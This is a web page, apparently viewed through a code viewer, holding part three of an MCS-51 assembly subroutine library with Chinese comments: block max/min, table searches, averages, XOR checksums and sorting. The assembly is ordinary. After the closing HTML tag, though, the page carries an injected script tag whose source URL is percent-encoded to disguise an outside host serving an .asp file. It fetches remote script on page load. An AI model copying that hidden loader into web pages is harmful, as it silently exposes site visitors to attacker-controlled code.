?? 學習單片機3.htm
字號:
R3,A<BR>MOV A,R2<BR>RLC A<BR>MOV R2,A<BR>DJNZ R6,BHD3
;共計算16bit小數<BR>MOV A,R4<BR>ADD A,#0B0H ;剩余部分達到0.50否?<BR>JNC BHD4
;四舍<BR>INC R3 ;五入<BR>MOV A,R3<BR>JNZ BHD4<BR>INC R2<BR>BHD4:
RET<BR> <BR>(24) 標號: MM 功能:求單字節十六進制無符號數據塊的極值</P>
<P>入口條件:數據塊的首址在DPTR中,數據個數在R7中。<BR>出口信息:最大值在R6中,地址在R2R3中;最小值在R7中,地址在R4R5中。<BR>影響資源:PSW、A、B、R1~R7
堆棧需求: 4字節<BR>MM: MOV B,R7 ;保存數據個數<BR>MOVX A,@DPTR ;讀取第一個數據<BR>MOV
R6,A ;作為最大值的初始值<BR>MOV R7,A ;也作為最小值的初始值<BR>MOV A,DPL
;取第一個數據的地址<BR>MOV R3,A ;作為最大值存放地址的初始值<BR>MOV R5,A
;也作為最小值存放地址的初始值<BR>MOV A,DPH<BR>MOV R2,A<BR>MOV R4,A<BR>MOV A,B
;取數據個數<BR>DEC A ;減一,得到需要比較的次數<BR>JZ MME ;只有一個數據,不需要比較<BR>MOV R1,A
;保存比較次數<BR>PUSH DPL ;保護數據塊的首址<BR>PUSH DPH<BR>MM1: INC DPTR
;指向一個新的數據<BR>MOVX A,@DPTR ;讀取這個數據<BR>MOV B,A ;保存<BR>SETB C
;與最大值比較<BR>SUBB A,R6<BR>JC MM2 ;不超過當前最大值,保持當前最大值<BR>MOV R6,B
;超過當前最大值,更新最大值存放地址<BR>MOV R2,DPH ;同時更新最大值存放地址<BR>MOV R3,DPL<BR>SJMP
MM3<BR>MM2: MOV A,B ;與最小值比較<BR>CLR C<BR>SUBB A,R7<BR>JNC MM3
;大于或等于當前最小值,保持當前最小值<BR>MOV R7,B ;更新最小值<BR>MOV R4,DPH
;更新最小值存放地址<BR>MOV R5,DPL<BR>MM3: DJNZ R1,MM1 ;處理完全部數據<BR>POP DPH
;恢復數據首址<BR>POP DPL<BR>MME: RET<BR> <BR>(25) 標號: MMS
功能:求單字節十六進制有符號數據塊的極值</P>
<P>入口條件:數據塊的首址在DPTR中,數據個數在R7中。<BR>出口信息:最大值在R6中,
地址在R2R3中;最小值在R7中,地址在R4R5中。<BR>影響資源:PSW、A、B、R1~R7 堆棧需求: 4字節<BR>MMS:
MOV B,R7 ;保存數據個數<BR>MOVX A,@DPTR ;讀取第一個數據<BR>MOV R6,A
;作為最大值的初始值<BR>MOV R7,A ;也作為最小值的初始值<BR>MOV A,DPL ;取第一個數據的地址<BR>MOV
R3,A ;作為最大值存放地址的初始值<BR>MOV R5,A ;也作為最小值存放地址的初始值<BR>MOV A,DPH<BR>MOV
R2,A<BR>MOV R4,A<BR>MOV A,B ;取數據個數<BR>DEC A ;減一,得到需要比較的次數<BR>JZ MMSE
;只有一個數據,不需要比較<BR>MOV R1,A ;保存比較次數<BR>PUSH DPL ;保護數據塊的首址<BR>PUSH
DPH<BR>MMS1: INC DPTR ;調整數據指針<BR>MOVX A,@DPTR ;讀取一個數據<BR>MOV B,A
;保存<BR>SETB C ;與最大值比較<BR>SUBB A,R6<BR>JZ MMS4 ;相同,不更新最大值<BR>JNB
OV,MMS2 ;差未溢出,符號位有效<BR>CPL ACC.7 ;差溢出,符號位取反<BR>MMS2: JB
ACC.7,MMS4;差為負,不更新最大值<BR>MOV R6,B ;更新最大值<BR>MOV R2,DPH
;更新最大值存放地址<BR>MOV R3,DPL<BR>SJMP MMS7<BR>MMS4: MOV A,B
;與最小值比較<BR>CLR C<BR>SUBB A,R7<BR>JNB OV,MMS6 ;差未溢出,符號位有效<BR>CPL
ACC.7 ;差溢出,符號位取反<BR>MMS6: JNB ACC.7,MMS7;差為正,不更新最小值<BR>MOV R7,B
;更新最小值<BR>MOV R4,DPH ;更新最小值存放地址<BR>MOV R5,DPL<BR>MMS7: DJNZ R1,MMS1
;處理完全部數據<BR>POP DPH ;恢復數據首址<BR>POP DPL<BR>MMSE: RET<BR> <BR>(26) 標號:
FDS1 功能:順序查找(ROM)單字節表格</P>
<P>入口條件:待查找的內容在A中,表格首址在DPTR中,表格的字節數在R7中。<BR>出口信息:OV=0時,順序號在累加器A中;OV=1時,未找到。<BR>影響資源:PSW、A、B、R2、R6
堆棧需求: 2字節<BR>FDS1: MOV B,A ;保存待查找的內容<BR>MOV R2,#0
;順序號初始化(指向表首)<BR>MOV A,R7 ;保存表格的長度<BR>MOV R6,A<BR>FD11: MOV A,R2
;按順序號讀取表格內容<BR>MOVC A,@A+DPTR<BR>CJNE A,B,FD12;與待查找的內容比較<BR>CLR OV
;相同,查找成功<BR>MOV A,R2 ;取對應的順序號<BR>RET<BR>FD12: INC R2
;指向表格中的下一個內容<BR>DJNZ R6,FD11 ;查完全部表格內容<BR>SETB OV
;未查找到,失敗<BR>RET<BR> <BR>(27) 標號: FDS2 功能:順序查找(ROM)雙字節表格</P>
<P>入口條件:查找內容在R4、R5中,表格首址在DPTR中,數據總個數在R7中。<BR>出口信息:OV=0時順序號在累加器A中,地址在DPTR中;OV=1時未找到。<BR>影響資源:PSW、A、R2、R6、DPTR
堆棧需求: 2字節<BR>FDS2: MOV A,R7 ;保存表格中數據的個數<BR>MOV R6,A<BR>MOV R2,#0
;順序號初始化(指向表首)<BR>FD21: CLR A ;讀取表格內容的高字節<BR>MOVC A,@A+DPTR<BR>XRL
A,R4 ;與待查找內容的高字節比較<BR>JNZ FD22<BR>MOV A,#1 ;讀取表格內容的低字節<BR>MOVC
A,@A+DPTR<BR>XRL A,R5 ;與待查找內容的低字節比較<BR>JNZ FD22<BR>CLR OV
;相同,查找成功<BR>MOV A,R2 ;取對應的順序號<BR>RET<BR>FD22: INC DPTR
;指向下一個數據<BR>INC DPTR<BR>INC R2 ;順序號加一<BR>DJNZ R6,FD21
;查完全部數據<BR>SETB OV ;未查找到,失敗<BR>RET<BR> <BR>(28) 標號:FDD1
功能:對分查找(ROM)單字節無符號增序數據表格</P>
<P><BR>入口條件:待查找的內容在累加器A中,表格首址在DPTR中,字節數在R7中。<BR>出口信息:OV=0
時,順序號在累加器A中;OV=1 時,未找到。<BR>影響資源:PSW、A、B、R2、R3、R4 堆棧需求: 2字節<BR>FDD1:
MOV B,A ;保存待查找的內容<BR>MOV R2,#0 ;區間低端指針初始化(指向第一個數據)<BR>MOV
A,R7<BR>DEC A<BR>MOV R3,A ;區間高端指針初始化(指向最后一個數據)<BR>FD61: CLR C
;判斷區間大小<BR>MOV A,R3<BR>SUBB A,R2<BR>JC FD69 ;區間消失,查找失敗<BR>RRC A
;取區間大小的一半<BR>ADD A,R2 ;加上區間的低端<BR>MOV R4,A ;得到區間的中心<BR>MOVC
A,@A+DPTR;讀取該點的內容<BR>CJNE A,B,FD65;與待查找的內容比較<BR>CLR OV
;相同,查找成功<BR>MOV A,R4 ;取順序號<BR>RET<BR>FD65: JC FD68
;該點的內容比待查找的內容大否?<BR>MOV A,R4 ;偏大,取該點位置<BR>DEC A ;減一<BR>MOV R3,A
;作為新的區間高端<BR>SJMP FD61 ;繼續查找<BR>FD68: MOV A,R4 ;偏小,取該點位置<BR>INC A
;加一<BR>MOV R2,A ;作為新的區間低端<BR>SJMP FD61 ;繼續查找<BR>FD69: SETB OV
;查找失敗<BR>RET<BR> <BR>(29) 標號:FDD2 功能:對分查找(ROM)雙字節無符號增序數據表格</P>
<P>入口條件:查找內容在R4、R5中,表格首址在DPTR中,數據個數在R7中。<BR>出口信息:OV=0
時順序號在累加器A中,址在DPTR中;OV=1 時未找到。<BR>影響資源:PSW、A、B、R1~R7、DPTR 堆棧需求:
2字節<BR>FDD2: MOV R2,#0 ;區間低端指針初始化(指向第一個數據)<BR>MOV A,R7<BR>DEC
A<BR>MOV R3,A ;區間高端指針初始化,指向最后一個數據<BR>MOV R6,DPH ;保存表格首址<BR>MOV
R7,DPL<BR>FD81: CLR C ;判斷區間大小<BR>MOV A,R3<BR>SUBB A,R2<BR>JC FD89
;區間消失,查找失敗<BR>RRC A ;取區間大小的一半<BR>ADD A,R2 ;加上區間的低端<BR>MOV R1,A
;得到區間的中心<BR>MOV DPH,R6<BR>CLR C ;計算區間中心的地址<BR>RLC A<BR>JNC
FD82<BR>INC DPH<BR>FD82: ADD A,R7<BR>MOV DPL,A<BR>JNC FD83<BR>INC
DPH<BR>FD83: CLR A ;讀取該點的內容的高字節<BR>MOVC A,@A+DPTR<BR>MOV B,R4
;與待查找內容的高字節比較<BR>CJNE A,B,FD84;不相同<BR>MOV A,#1 ;讀取該點的內容的低字節<BR>MOVC
A,@A+DPTR<BR>MOV B,R5<BR>CJNE A,B,FD84;與待查找內容的低字節比較<BR>MOV A,R1
;取順序號<BR>CLR OV ;查找成功<BR>RET<BR>FD84: JC FD86
;該點的內容比待查找的內容大否?<BR>MOV A,R1 ;偏大,取該點位置<BR>DEC A ;減一<BR>MOV R3,A
;作為新的區間高端<BR>SJMP FD81 ;繼續查找<BR>FD86: MOV A,R1 ;偏小,取該點位置<BR>INC A
;加一<BR>MOV R2,A ;作為新的區間低端<BR>SJMP FD81 ;繼續查找<BR>FD89: MOV DPH,R6
;相同,恢復首址<BR>MOV DPL,R7<BR>SETB OV ;查找失敗<BR>RET<BR> <BR>(30) 標號: DDM1
功能:求單字節十六進制無符號數據塊的平均值</P>
<P><BR>入口條件:數據塊的首址在DPTR中,數據個數在R7中。<BR>出口信息:平均值在累加器A中。<BR>影響資源:PSW、A、R2~R6
堆棧需求: 4字節<BR>DDM1: MOV A,R7 ;保存數據個數<BR>MOV R2,A<BR>PUSH DPH<BR>PUSH
DPL<BR>CLR A ;初始化累加和<BR>MOV R4,A<BR>MOV R5,A<BR>DM11: MOVX A,@DPTR
;讀取一個數據<BR>ADD A,R5 ;累加到累加和中<BR>MOV R5,A<BR>JNC DM12<BR>INC
R4<BR>DM12: INC DPTR ;調整指針<BR>DJNZ R2,DM11 ;累加完全部數據<BR>LCALL D457
;求平均值(R4R5/R7-→R3)<BR>MOV A,R3 ;取平均值<BR>POP DPL<BR>POP
DPH<BR>RET<BR> <BR>(31) 標號: DDM2 功能:求雙字節十六進制無符號數據塊的平均值</P>
<P>入口條件:數據塊的首址在DPTR中,雙字節數據總個數在R7中。<BR>出口信息:平均值在R4、R5中。<BR>影響資源:PSW、A、R2~R6
堆棧需求: 4字節<BR>DDM2: MOV A,R7 ;保存數據個數<BR>MOV R2,A ;初始化數據指針<BR>PUSH DPL
;保持首址<BR>PUSH DPH<BR>CLR A ;初始化累加和<BR>MOV R3,A<BR>MOV R4,A<BR>MOV
R5,A<BR>DM20: MOVX A,@DPTR ;讀取一個數據的高字節<BR>MOV B,A<BR>INC
DPTR<BR>MOVX A,@DPTR ;讀取一個數據的低字節<BR>INC DPTR<BR>ADD A,R5
;累加到累加和中<BR>MOV R5,A<BR>MOV A,B<BR>ADDC A,R4<BR>MOV R4,A<BR>JNC
DM21<BR>INC R3<BR>DM21: DJNZ R2,DM20 ;累加完全部數據<BR>POP DPH
;恢復首址<BR>POP DPL<BR>LJMP DV31 ;求R3R4R5/R7-→R4R5,得到平均值<BR> <BR>(32)
標號: XR1 功能:求單字節數據塊的(異或)校驗和</P>
<P>入口條件:數據塊的首址在DPTR中,數據的個數在R6、R7中。<BR>出口信息:校驗和在累加器A中。<BR>影響資源:PSW、A、B、R4~R7
堆棧需求: 2字節<BR>XR1: MOV R4,DPH ;保存數據塊的首址<BR>MOV R5,DPL<BR>MOV A,R7
;雙字節計數器調整<BR>JZ XR10<BR>INC R6<BR>XR10: MOV B,#0 ;校驗和初始化<BR>XR11:
MOVX A,@DPTR ;讀取一個數據<BR>XRL B,A ;異或運算<BR>INC DPTR ;指向下一個數據<BR>DJNZ
R7,XR11 ;雙字節計數器減一<BR>DJNZ R6,XR11<BR>MOV DPH,R4 ;恢復數據首址<BR>MOV
DPL,R5<BR>MOV A,B ;取校驗和<BR>RET<BR> <BR>(33) 標號: XR2
功能:求雙字節數據塊的(異或)校驗和</P>
<P>入口條件:數據塊的首址在DPTR中,雙字節數據總個數在R6、R7中。<BR>出口信息:校驗和在R2、R3中。<BR>影響資源:PSW、A、R2~R7
堆棧需求: 2字節<BR>XR2: MOV R4,DPH ;保存數據塊的首址<BR>MOV R5,DPL<BR>MOV A,R7
;雙字節計數器調整<BR>JZ XR20<BR>INC R6<BR>XR20: CLR A ;校驗和初始化<BR>MOV
R2,A<BR>MOV R3,A<BR>XR21: MOVX A,@DPTR ;讀取一個數據的高字節<BR>XRL A,R2
;異或運算<BR>MOV R2,A<BR>INC DPTR<BR>MOVX A,@DPTR ;讀取一個數據的低字節<BR>XRL
A,R3 ;異或運算<BR>MOV R3,A<BR>INC DPTR ;指向下一個數據<BR>DJNZ R7,XR21
;雙字節計數器減一<BR>DJNZ R6,XR21<BR>MOV DPH,R4 ;恢復數據首址<BR>MOV
DPL,R5<BR>RET<BR> <BR>(34) 標號: SORT 功能:單字節無符號數據塊排序(增序)</P>
<P>入口條件:數據塊的首址在R0中,字節數在R7中。<BR>出口信息:完成排序(增序)<BR>影響資源:PSW、A、R2~R6
堆棧需求: 2字節<BR>SORT: MOV A,R7<BR>MOV R5,A ;比較次數初始化<BR>SRT1: CLR F0
;交換標志初始化<BR>MOV A,R5 ;取上遍比較次數<BR>DEC A ;本遍比上遍減少一次<BR>MOV R5,A
;保存本遍次數<BR>MOV R2,A ;復制到計數器中<BR>JZ SRT5 ;若為零,排序結束<BR>MOV A,R0
;保存數據指針<BR>MOV R6,A<BR>SRT2: MOV A,@R0 ;讀取一個數據<BR>MOV R3,A<BR>INC R0
;指向下一個數據<BR>MOV A,@R0 ;再讀取一個數據<BR>MOV R4,A<BR>CLR C<BR>SUBB A,R3
;比較兩個數據的大小<BR>JNC SRT4 ;順序正確(增序或相同),不必交換<BR>SETB F0 ;設立交換標志<BR>MOV
A,R3 ;將兩個數據交換位置<BR>MOV @R0,A<BR>DEC R0<BR>MOV A,R4<BR>MOV
@R0,A<BR>INC R0 ;指向下一個數據<BR>SRT4: DJNZ R2,SRT2 ;完成本遍的比較次數<BR>MOV
A,R6 ;恢復數據首址<BR>MOV R0,A<BR>JB F0,SRT1 ;本遍若進行過交換,則需繼續排序<BR>SRT5: RET
;排序結束<BR>END</P>
<P align=center> <FONT color=black size=3><B><A
href="http://www.zsgbailin.com/inages/xxtd/zcx4.htm">MCS-51單片機實用子程序庫(四)</A></B></FONT></P></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><A
href="http://www.zsgbailin.com/inages/xxtd/index.htm">網站首頁</A>
</P></TD></TR></TBODY></TABLE>
<TABLE height=21 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<HR color=#ff00ff>
</TD></TR></TBODY></TABLE>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><FONT face=宋體 color=#800080>聲明:
部分文章來源于網絡/若有侵犯你的權益/請聯系我立即刪除</FONT>
</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
<TBODY>
<TR>
<TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -